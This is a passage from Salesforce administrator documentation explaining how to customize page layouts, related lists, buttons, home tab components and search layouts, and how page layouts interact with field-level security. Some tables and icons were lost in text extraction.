the palette, and drag the element from the palette to the page layout.
To remove a user interface element from the page layout, drag the element from the page layout to the right side of the
palette, or click the icon next to the element.
Use the undo and redo buttons to step backwards and forwards, respectively.
Use the following keyboard shortcuts:
Undo = CTRL+Z
Redo = CTRL+Y
Quick Save = CTRL+S
To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click.
To change the properties of any element on the page layout, double-click the element or click the wrench icon ( ) next
to it. You cannot change the properties of elements in the palette.
To make a field read-only or required, double-click the field in the page layout and select the Read-Only or Required
checkboxes.
To gain vertical space when working on moving items around within the page layout, click the arrow beneath the palette
to collapse it.
To access the other layouts for an object when viewing or customizing an object with multiple page layouts, click the page
layout name at the top of the page and select another layout to view.
To change the name of the page layout, add personal and public tags if available, and display standard object checkboxes
on the page layout, click Layout Properties.
Note: You can't rename a page layout if you're using Salesforce.com Professional Edition.
1280
Customize
To review the page layout, click Preview As. From the preview in Enterprise, Unlimited, and Developer Editions, select
a profile to see how the pages will look for users with different profiles. Note that most related lists columns preview
without data.
To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for page layouts
that have large numbers of items available in the palette.
To save your changes and continue editing the page layout, click Quick Save.
To save your changes when you are done customizing the page layout, click Save. If you navigate away from your page
layout before clicking save, your changes will be lost.
To create a copy of your page layout, click Save and select Save As.
To choose which related records display in the console's mini view, click Mini Console View. (Available in Professional,
Enterprise, Unlimited, and Developer Edition organizations only.)
Note: You cannot choose Mini Console View for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.
To define the mini page layouts of the records that appear in the mini view of the console, click Mini Page Layout. The
mini page layout also defines the layout of the hover details and event overlays. (Available in Professional, Enterprise,
Unlimited, and Developer Edition organizations only.)
Note: You cannot define mini page layouts for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.
See Also:
Notes on Using the Enhanced Page Layout Editor
Customizing Related Lists
Managing Page Layouts
Assigning Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal
1281
Customize
Customize Application
View Setup
The following list describes the enhanced page layout editor user interface elements and how you can use them in your page
layout.
Tip: Create the appropriate buttons, custom links, fields, custom s-controls, and Visualforce pages before editing
your page layout.
Blank Spaces
You can add and move blank spaces to any section on the page layout. Use blank spaces to visually align and distinguish
elements on the page.
To add a blank space, drag the Blank Space user interface element from the palette to the desired location on the page
layout. The Blank Space user interface element is the first option in the palette when you select the Fields, Custom
Links, Custom S-Controls, or Visualforce Pages category on the palette.
Note: If you use the original page layout editor to view a page layout that was created in the enhanced page
layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add
blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the
right.
Buttons
The top of the page layout has a place for standard buttons and another for custom buttons. You can control which
standard and custom buttons are displayed and the order in which the custom buttons appear; however, you cannot
rearrange the order in which the standard buttons appear.
To add a custom or standard button to the page layout, select the Buttons category on the palette and drag one or more
buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons
area, and custom buttons must go in the custom buttons area.
To remove a standard or custom button from the page layout, drag the button to the palette.
For information on buttons in related lists, see Related Lists.
Custom Links
To add custom links to the page layout, select the Custom Links category on the palette and drag one or more custom
links from the palette to the Custom Links section on the page layout.
To remove a custom link from the page layout, drag the custom link to the palette.
1282
Customize
Fields
To add fields to the page layout, select the Fields category on the palette and drag one or more fields from the palette
to any section on the page layout, except for sections reserved for custom buttons or links and related lists.
A field might display one or more of the following icons:
The field must have a value to save the record but is not required on the page layout itself.
The field must be included on the page layout because either an administrator configured the field as universally
required or Salesforce automatically requires the field. Although you cannot remove such fields, you can move them
to different locations.
The field is a controlling field.
The field is a dependent field.
The field is read only.
To set which fields are required and read only, select one or more fields and click the wrench icon (
selected fields.
) on any of the
The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
Fields marked as read only are always editable by administrators and users with the Edit Read Only Fields permission.
If you make a picklist field read only, all new records will contain the default value for that picklist.
Auto-number fields are always read only.
If you mark the opportunity Probability field as read only, the Probability value will still be updated
automatically when a user changes the Stage value of an opportunity.
In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access
in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when
synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
Field-level security settings override any field properties you set on the page layout if the field-level security is more
restrictive than the page layout setting. See Field-Level Security Overview on page 663.
In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into
any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can
import only into the fields that are accessible to them via their page layout or field-level security settings.
For information on setting which fields display for users in search results, see Customizing Search Layouts on page
1303.
Related Lists
To add related lists to the page layout, select the Related Lists category on the palette and drag one or more related lists
from the palette to the desired location on the page layout. A page layout can have up to 100 related lists.
You can place related lists at the bottom of the page layout. To move a related list on the page layout, drag the handle
located above the related list.
To customize a related list, double-click the related list handle or click the wrench icon (
related list properties to:
Specify which fields display as columns on the related list, the order in which they appear, and the sort order of the
records in the related list. In Professional, Enterprise, and Unlimited Editions, you can also opt to apply the column
information to other page layouts for the same type of object.
1283
Customize
Specify which standard and custom buttons appear on the related list.
When working with related lists on page layouts, note the following:
Some related lists are not customizable because they link to data rather than store it. Salesforce denotes related lists
that are not customizable on the page layout.
You cannot add related lists to the page layouts for the User object.
You can also enable related list hover links for your organization so that record detail pages include links for each
related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding
related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also
click a related list hover link to jump down to the content of the related list without having to scroll down the page.
To enable related list hover links, see Customizing User Interface Settings on page 1601.
In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which related lists
display for their personal use. Administrators can overwrite these user customizations and apply the related list
configuration in the page layout to all users, even if they already customized their display. To overwrite users' related
list customizations, click Yes on the Overwrite Users' Personal Related List Customizations popup window, which
appears when saving a page layout if you moved or added a related list.
Custom S-Controls
To add s-controls to the page layout, select the Custom S-Controls category on the palette and drag one or more
s-controls from the palette to any section on the page layout, except for sections reserved for custom buttons or links
and related lists. A page layout can have up to 20 s-controls.
To change the properties of an s-control, double-click the s-control or click its wrench icon (
attributes:
). You can:
Enter a name for the section. Note that names of some standard page sections cannot be changed.
Specify whether the section should have one or two columns.
Specify the order in which users will be able to tab through the items in that section.
Specify whether the section heading should be shown on the detail and edit pages.
1284
Customize
Tags
If tags are enabled in your organization, click Layout Properties and use the checkboxes to indicate whether personal
and public tags should be included in the header section of the page layout. Users cannot tag a record if neither personal
nor public tags are included in the header section. Also, the positioning of personal and public tags in the header cannot
be modified.
Visualforce Pages
To add Visualforce pages to the page layout, select the Visualforce Pages category on the palette and drag one or more
Visualforce pages from the palette to any section on the page layout, except for sections reserved for custom links and
related lists. A page layout can have up to 20 Visualforce pages.
You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object
for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to
that object, the Visualforce Pages category does not appear in the palette.
See Also:
Notes on Using the Enhanced Page Layout Editor
Customizing Page Layouts with the Enhanced Page Layout Editor
Customize Application
View Setup
When using the enhanced page layout editor, note the following:
You can't rename a page layout if you're using Salesforce.com Professional Edition.
Some elements can only be moved to certain locations on the page layout.
Elements that are already on the page layout still appear on the palette but are inactive. When you click an inactive element
on the palette, Salesforce highlights the element on the page layout.
When you select a category of elements on the palette, such as Related Lists or Custom Links, Salesforce jumps to the
part of the page layout where you can add those elements.
The following table describes which browsers support the enhanced page layout editor:
Browser
Notes
1285
Customize
Browser
Notes
is no longer supported as of Summer 12. If you use Internet
Explorer, Salesforce recommends using the latest version.
Apply all Microsoft hotfixes.
Important: Using Internet Explorer with the
Internet Explorer Developer Toolbar impacts the
performance of the enhanced page layout editor.
Disable the toolbar before using the enhanced page
layout editor.
1. In Internet Explorer, navigate to Tools >
Internet Options... > Programs.
2. Click Manage Add-ons....
3. Select IE Developer Toolbar and IE
Developer Toolbar BHO, and choose the
Disable option.
4. Close all Internet Explorer windows and restart
the browser.
If the original page layout editor is enabled, users can click on the page layout name to access the detail page of the page
layout. The enhanced page layout editor does not have detail pages, as all the detail page functionality is always available
on the enhanced editor. Salesforce displays a read-only version of the enhanced page layout editor to users with the View
Setup permission.
Note: The read-only view of the page layout does not display field types and lengths in hover details.
Some standard objects have checkboxes that are specific to page layouts for that object. The following table lists those
standard object checkboxes. To configure how Salesforce displays the checkboxes, click Layout Properties when customizing
the page layout. Use the Select by default checkbox associated with a checkbox if you want Salesforce to automatically
select the option when a user accesses the edit page.
Object
Checkboxes
Account
1286
Customize
Lead
page.
Note: A users personal preference for defaulting
the state of the checkbox takes precedence over the
organization-wide setting. For more information,
see Creating Tasks on page 164.
The Custom Links, Custom S-Controls, and Visualforce Pages categories only appear in the palette if you have defined
those types of elements for the object for which you are defining a page layout.
Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
1287
Customize
If a dependent lookup is above its controlling field on a page layout, make its lookup filter optional or redesign the page
layout. Seeing a required dependent lookup above its controlling field on a page layout may confuse users who typically
start from the top of the page when entering data.
You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the Console tab. For more information, see Defining Mini Page Layouts
on page 3305.
When editing a person account page layout:
If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.
Salesforce recommends creating no more than 200 page layouts. While there is no limit, organizations may have difficulty
managing their page layouts if they exceed 200.
Salesforce gives administrators the option to view a short video tutorial the first time they access the enhanced page layout
editor. This video is also available from the Video Tutorial link next to the Help for this Page link in the editor.
See Also:
Enhanced Page Layout Editor User Interface Elements
Customizing Page Layouts with the Enhanced Page Layout Editor
Customize Application
The original page layout editor allows you to customize your organizations page layouts for detail and edit pages in Salesforce,
the Self-Service Portal, and the Salesforce Customer Portal.
Note: Salesforce.com recommends using the enhanced page layout editor instead of the original page layout editor.
For more information, see Customizing Page Layouts with the Enhanced Page Layout Editor on page 1280.
To customize page layouts using the original page layout editor:
1. For standard object page layouts, select Your Name > Setup > Customize, select the object, and choose Page Layouts.
For custom object page layouts, select Your Name > Setup > Create, select the object, and scroll to the Page Layouts
section.
2. In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, click Edit at the top of the page.
1288
Customize
3. If tags are enabled in your organization, specify whether personal and public tags should be included in the header section
of the page layout. Users cannot tag a record if neither personal nor public tags are included in the header section:
To add personal or public tags to the page layout, select Header Items from the View drop-down list and then drag
the Personal Tags or Public Tags items to the Header Section of the layout. Note that you cannot change the order in
which personal and public tags appear when both are in the Header Section at the same time.
To remove tags from the page layout, drag the Personal Tags and Public Tags items from the Header Section of the
page layout to the area under the View drop-down list.
To hide any standard button, deselect the checkbox next to the button name.
To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
Sort custom buttons by selecting them and clicking Up or Down.
To undo your customizations and restore default settings, click Revert to Defaults.
Click OK to close the popup when you are done.
5. To arrange fields, custom s-controls, Visualforce pages, custom links, and related lists on the layout, select one or more
items from the box on the right and drag them to the desired location. You can add up to 20 s-controls, 20 Visualforce
pages, and 100 related lists on a page layout. There are no limits on fields and custom links.
You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set
to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard
controller set to that object, the Visualforce Pages category does not appear in the palette.
Items that are not in the page layout are displayed in the scrolling box on the right-hand side.
Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may
affect your page layout decisions.
6. To set which fields are required and read only, select one or more fields and click Edit Properties.
The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
Fields marked as read only are always editable by administrators and users with the Edit Read Only Fields permission.
If you make a picklist field read only, all new records will contain the default value for that picklist.
Auto-number fields are always read only.
If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically
when a user changes the Stage value of an opportunity.
In Enterprise, Unlimited, and Developer Editions, field-level security settings override any field properties you set here
if the field-level security is more restrictive than the page layout setting. See Field-Level Security Overview on page
663.
7. To change the properties of an s-control or Visualforce page, double click it and set the following attributes:
1289
Customize
Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary.
Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to
Enter a name for the section. Note that names of some standard page sections cannot be changed.
Set whether the section should have one or two columns.
Set the order in which users will be able to tab through the items in that section.
Set whether the section name should be shown on the detail and edit pages.
9. To customize the related lists on the page layout, double-click the related list in the Related List Section.
Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
Use CTRL+click to select multiple fields individually.
Use SHIFT+click to select multiple fields as a group.
Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
If necessary, select additional page layouts to apply your related list customizations to.
Select or deselect the checkbox next to any standard button name to customize which standard buttons display in the
related list.
To customize which custom buttons display in the related list, select the button and click Add or Remove. Sort custom
buttons by selecting them and clicking Up or Down.
Note: To create a custom button for the related list, see Defining Custom Buttons and Links on page 1254. The
custom button must be defined for the object contained in the related list, instead of the parent object, and the
button Type must be List Button. For example, to display a custom button on the Contacts related list of an
account, define the custom button for contacts, not accounts.
Some related lists are not customizable because they link to data rather than store it. You can move your cursor over any
related list section to see if it is customizable. Also, lookup fields are not available for display on their corresponding lookup
related list. For example, the case lookup field on an account page layout is not available when editing the cases related
list.
Note: You can also enable related list hover links for your organization so that record detail pages include links
for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list
items. Users can also click a related list hover link to jump down to the content of the related list without having
to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 1601.
10. Select the Overwrite users personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
11. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles. Note that most related lists columns preview without
data.
12. Click Save to finish. Alternatively, click Quick Save to save and continue editing the page layout.
1290
Customize
Professional, Enterprise, Unlimited, and Developer Edition organizations can also click:
Mini Console View to choose which related records display in the Console tab's mini view.
Mini Page Layout to define the mini page layouts of the records that appear in the Console tab's mini view.
Note: You cannot define mini console views or mini page layouts for the Close Case Layout or the Log a Case Page
and View Cases Page layouts on the Self-Service Portal.
In Enterprise, Unlimited, and Developer Editions, you can now assign which page layouts to display for different profile and
record type combinations (see Assigning Page Layouts on page 1295). You can also set field-level security to restrict field access
further (see Field-Level Security Overview on page 663).
Notes on Page Layouts
When customizing page layouts for tasks, you can select the following checkboxes:
Show Task Email Notification checkbox controls whether the Send Notification Email checkbox
displays when users create or edit a task.
Select Task Email Notification checkbox by default controls whether the Send Notification
Email checkbox is selected by default when users create or edit a task. Note that a user's personal preference for
defaulting the state of the checkbox takes precedence over the organization-wide setting. For more information, see
Creating Tasks on page 164.
When customizing page layouts for cases, you can select the following checkboxes:
Case assignment checkbox to display the Assign using active assignment rules checkbox on case
edit pages.
Email notification checkbox to display the Send notification email to contact checkbox on case
edit pages.
Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the Console tab. For more information, see Defining Mini Page Layouts
on page 3305.
In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any
field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import
only into the fields that are accessible to them via their page layout or field-level security settings.
In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in
related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing
data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
For information on setting which fields display for users in search results, see Customizing Search Layouts on page 1303.
In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which tabs and related lists
display for their personal use. See Customizing Your Display on page 42.
When editing a person account page layout:
If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.
1291
Customize
Some items can only be moved to certain sections on the page layout. For example, you can drag a custom s-control to any
field section on the page layout but not a Related List Section or Button Section.
Create the appropriate buttons before editing your page layout. For example, create an account custom button for the detail
page and a contact custom list button before putting them both on an account page layout. For implementation tips and
best practices on custom buttons, see Custom Button Considerations.
If you use the original page layout editor to view a page layout that was created in the new page layout editor, the original
page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout
editor, but you can remove them by dragging them to the box on the right.
See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal
Customize Application
When customizing page layouts, you can control which standard and custom buttons are displayed and the order in which
the custom buttons are shown. To customize the buttons on record detail pages:
1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
For custom objects, click Your Name > Setup > Create > Objects, and select the desired custom object.
2. Click Edit next to the page layout you want to customize.
3. Do one of the following:
In the original page layout editor, double-click the Detail Page Buttons item in the Button Section.
To hide any standard button, deselect the checkbox next to the button name.
To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
Sort custom buttons by selecting them and clicking Up or Down.
To undo your customizations and restore default settings, click Revert to Defaults.
Click OK to close the popup when you are done.
In the enhanced page layout editor, select the Buttons category on the palette and drag one or more buttons from the
palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom
1292
Customize
buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the
button to the palette.
4. Click Save on the page layout.
5. Click Save.
See Also:
Customizing Page Layouts
Overriding Standard Buttons and Tab Home Pages
Defining Custom Buttons and Links
Customize Application
To customize the buttons, columns displayed, column order, and record sort order of related lists on record detail pages in
Salesforce and the Salesforce Customer Portal:
1. Access the page layout editor.
2. Double-click a related list on the layout to edit it. If you are using the enhanced page layout editor, you can also click the
wrench icon ( ).
3. To customize the fields that display in the related list:
Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
Note: The first field of a related list can't be moved. They are considered as unique identifiers for the record.
Lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field
on an account page layout is not available when editing the cases related list.
1293
Customize
4. To customize which standard buttons display in the related list, select or deselect the checkbox next to any standard button
name.
Note: To view the buttons in the enhanced page layout editor, click the plus sign (+) in the Buttons section.
To add or remove a custom button, select the button and click Add or Remove.
Sort custom buttons by selecting them and clicking Up or Down.
To create a custom button for the related list, see Defining Custom Buttons and Links on page 1254. The custom button
must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List
Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for
contacts, not accounts.
6. If necessary, click Revert to Defaults to undo any customizations and use the default Salesforce settings in the related list.
7. Click OK to store your customizations. Changes are not saved until you click Save on the page layout.
8. Select the Overwrite users personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
9. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles.
10. Click Save.
Note: You can also enable related list hover links for your organization so that record detail pages include links for
each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items.
Users can also click a related list hover link to jump down to the content of the related list without having to scroll
down the page. To enable related list hover links, see Customizing User Interface Settings on page 1601.
See Also:
Overview of Page Layouts and Field-Level Security
Creating a Many-to-Many Relationship
Customize Application
You can customize the columns that display when you click Edit All in the Products related list of an opportunity detail page.
1. Click Your Name > Setup > Customize > Opportunities > Opportunity Products > Page Layouts.
2. Click the name of an opportunity product page layout.
1294
Customize
Select one or more fields and use the Add and Remove arrows to move them between the lists. Also, click the Up and
Down arrows to change the order of the Selected Fields list.
Use CTRL+click to select multiple fields individually.
Use SHIFT+click to select multiple fields as a group.
Customize Application
See Also:
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Setting Up the Console Tab
After defining page layouts, assign which page layouts users see. A users profile determines which page layout he or she sees.
In addition, if your organization is using record types for a particular tab, the combination of the users profile and the record
type determine which page layout is displayed.
1295
Customize
To verify that users have the correct access to fields based on the page layout and field-level security, you can check the field
accessibility grid; see About Field Accessibility on page 1297.
See Also:
Managing Page Layouts
User Profiles Overview
Managing Record Types
Overview of Page Layouts and Field-Level Security
Assigning Page Layouts from a Customize Page Layout or Record Type Page
Available in: Enterprise, Unlimited, and Developer Editions
Manage Users
1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose Page Layouts or Record
Types..
2. In the page layout or record type list page, click Page Layout Assignment.
3. Click Edit Assignment.
4. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If
your organization uses record types, a matrix displays a page layout selector for each profile and record type.
When selecting page layout assignments:
Click a cell, column, or row heading to select all the table cells in that column or row.
Press SHIFT+click to select multiple adjacent table cells, columns, or rows.
Press CTRL+click to select multiple nonadjacent table cells, columns, or rows.
Click any cell and drag to select a range of cells.
Click Next or Prev to view another set of record types.
Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your
changes.
5. If necessary, select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous
step for the new page layout.
1296
Customize
6. Click Save.
See Also:
Assigning Page Layouts
Several factors help control whether users can view and edit specific fields in Salesforce.
Page layoutsYou can set whether fields are visible, required, editable, or read only.
Field-level securityYou can further restrict users' access to fields by setting whether those fields are visible, editable, or
read only. These settings override any field properties set in the page layout if the field-level security setting is more
restrictive.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to
prevent users from searching and retrieving records that match a value in a field hidden by field-level security,
contact salesforce.com Customer Support.
PermissionsSome user permissions override both page layouts and field-level security settings. For example, users with
the Edit Read Only Fields permission can always edit read-only fields regardless of any other settings.
Universally required fieldsA custom field can be made universally required, which overrides any less-restrictive settings
on page layouts or field-level security.
After setting these items, you can confirm users' access to specific fields using the field accessibility grid.
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or
Event Fields.
1297
Customize
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.
Customize Application
AND
Manage Users
From the field accessibility grid, you can click any field access setting to change the fields accessibility in the page layout or
in field-level security. The Access Settings page then lets you modify the field access settings.
In the Field-Level Security section of the page, specify the field's access level for the profile.
Access Level
Enabled Settings
Visible
None
We recommend that you use field-level security to control users access to fields rather than creating multiple page layouts
to control field access.
1298
Customize
Select the Remove or change editability radio button and then change the field access properties for the page
layout. These changes will affect all profile and record type combinations that currently use this page layout.
Alternatively, you can select the Choose a different page layout radio button to assign a different page layout
to the profile and record type combination.
See Also:
Overview of Page Layouts and Field-Level Security
Managing Page Layouts
Field-Level Security Overview
Object Permissions
User Permissions
Customize Application
Customize Application
You can customize the Home tab to include components such as sidebar links, a company logo, or a dashboard snapshot. A
dashboard snapshot is a clipping of the top row of a dashboards components. Just like other tabs, you can also assign different
home page layouts to different users based on profile.
Alternatively, a custom home page layout can contain only the components that show up in the sidebar. You can determine
if custom sidebar components appear only on the Home tab or on all Salesforce pages.
To start customizing your home page layouts, see:
1299
Customize
Customize Application
Home page layouts contain standard components, such as Recent Items and Messages & Alerts, and any custom components
you create. You can create custom components such as a logo; see Creating Custom Components on page 1300. Additionally,
you can edit some standard components; see Editing Components on page 1300.
Editing Components
1. Click Your Name > Setup > Customize > Home > Home Page Components.
2. Click Edit next to the component you want to edit. If there is no Edit link next to a component, it is read only.
3. Make any changes.
When editing the standard Messages & Alerts component, enter the text you want to display to users. If entering
HTML code for your message, make sure it is self-contained, well-formed HTML.
When editing the Custom Links component, enter the link text to display to users in the Bookmark field. In the URL
field, enter the complete website address, such as http://www.yahoo.com. To link to a Salesforce page, such as a
frequently-viewed report, enter only the part of the URL after salesforce.com, for example, /00Ox0000000esq4.
These links always open within the main Salesforce window, not in a popup window.
Note: The standard home page Custom Links component is a quick way to add links to the sidebar, but it
does not support merge fields, functions (such as the URLFOR function), executing JavaScript, or customizable
window opening properties. If you need this additional functionality:
a. Click Your Name > Setup > Customize > Home > Custom Links, and create your home page custom
links on that page.
b. Click Your Name > Setup > Customize > Home > Home Page Components, and create a custom home
page component of type Links on that page that includes the custom links created in the first step. See
Creating Custom Components. Note that creating a custom home page component for your links does not
change the visual styling for your end users.
4. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1301.
Creating Custom Components
If you are creating custom link components, define your Home tab custom links first; see Setting Custom Buttons and Links
on page 1253. If you are creating an image component, upload your image to the Documents tab first. For information on
uploading your files to the Documents tab, see Uploading and Replacing Documents on page 250.
1. Click Your Name > Setup > Customize > Home > Home Page Components.
2. Click New.
3. Enter a name for the component. For custom links, this name displays as the section heading in the sidebar on the Home
tab.
1300
Customize
For links, select the appropriate custom links and click Add.
For images, click Insert an image, choose the document folder, and select the image file. Note that the image file must
be in a public folder and the Externally Available checkbox must be selected on the document's properties so
that users can view the image.
For HTML area, choose where to display the component, in either the wide or narrow column, and enter your text,
image, or links in the box below.
Note: Components in the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce unless you specify that in your user interface settings or by assigning the Show Custom
Sidebar On All Pages permission. To change your user interface settings, see Customizing User Interface
Settings on page 1601. For information on permissions, see User Permissions on page 567.
For instructions on using the HTML format toolbar, see Using the Format Toolbar on page 481.
6. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1301.
Tip: Keep your image size smaller than 20 KB for optimum performance. If your image is too large to fit in the insert
window, use an image editor to resize the image. Save your image in gif or jpeg format to reduce file size.
See Also:
Designing Home Tab Page Layouts
Assigning Home Tab Page Layouts to Profiles
Customize Application
Customize Application
After creating the components you want displayed on the Home tab, begin designing your home page layouts.
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Home > Home Page Layouts.
Click New. Alternately, select a layout you want to copy and click Clone.
Enter a name for the new layout.
Click Save.
Select the components you want displayed on the new page layout. Consider the following:
1301
Customize
The components you select for the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce unless you specify that in your user interface settings. To change your user interface settings,
see Customizing User Interface Settings on page 1601. If you only want certain users to view sidebar components on all
pages, grant those user the Show Custom Sidebar On All Pages permission.
Select Article Search to add the Find Articles component to a home page layout. This component is only available
for Salesforce Knowledge users.
Select Customer Portal Welcome to add the Customer Portal component to a home page layout. If the My Profile
site Visualforce page has been enabled, this component contains a personalized welcome message and a link to the
portal user's profile. The My Profile page enables users logged into either your Force.com site, or your Customer Portal
from Force.com sites, to update their own contact information. When they make changes to this page, the corresponding
portal user and contact records are updated.
When you select Dashboard Snapshot as a component to show on a home page layout, Salesforce displays the last
dashboard the user accessed. To give users instructions on changing the dashboard themselves; see Customizing Your
Display on page 42. Users can view a dashboard snapshot on their Home tab if they have access to at least one dashboard.
See Refreshing Dashboard Data on page 3093.
Tip: When designing home page layouts for your Customer Portal, we recommend adding the following
components: Search, Solution Search, Recent Items, Customer Portal Welcome, and a custom HTML Area
component that includes your corporate branding in the wide column.
6.
7.
8.
9.
Click Next.
Arrange the selected components in the desired columns. Select a component and use the arrow keys to move it.
Optionally, click Preview to display the home page layout.
Click Save & Assign to save the page layout and assign it to a profile. Initially, all users, including Customer Portal users,
are assigned to the Home Page Default layout. For more information, see Assigning Home Tab Page Layouts to Profiles
on page 1302.
See Also:
Customizing Home Tab Page Layouts
Defining Home Tab Components
Setting Up Your Customer Portal
Customize Application
Your home page layouts are only visible to users after you assign them to a user profile.
1. Click Your Name > Setup > Customize > Home > Home Page Layouts.
2. Click Page Layout Assignment.
1302
Customize
See Also:
Defining Home Tab Components
Designing Home Tab Page Layouts
Changing Your Home Tab Dashboard
Customize Application
Customize which fields display for users in search results, search filter fields, lookup dialogs, the recent records lists on tab
home pages, and in lookup phone dialogs for Salesforce CRM Call Center. You can specify a different set of fields to show
in each search layout. The settings apply to all users in your organization and Salesforce Customer Portal.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a List Button Display Type.
1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Search Layouts link.
2. Click Edit next to the layout you want to customize. You can specify a different set of items to display for search results,
lookup dialogs, recent records lists on tab home pages, lookup phone dialogs, list views, and search filter fields.
3. For list view and search results layouts, select any standard or custom buttons you want to display. To hide a standard
button on the list view, deselect it. Standard buttons are not available on search result layouts.
4. Use the arrows to add or remove items from the layout, and to define the order in which the fields should display. To select
more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.
Select one or more items in the available list and click Add to add them to the layout.
Select one or more items in the selected list and click Remove to remove them from the layout.
Select one or more items in the selected list and click Up to move them higher in the list.
Select one or more items in the selected list and click Down to move them lower in the list.
Note: When editing a search results layout for an object, you can select the Override the search result
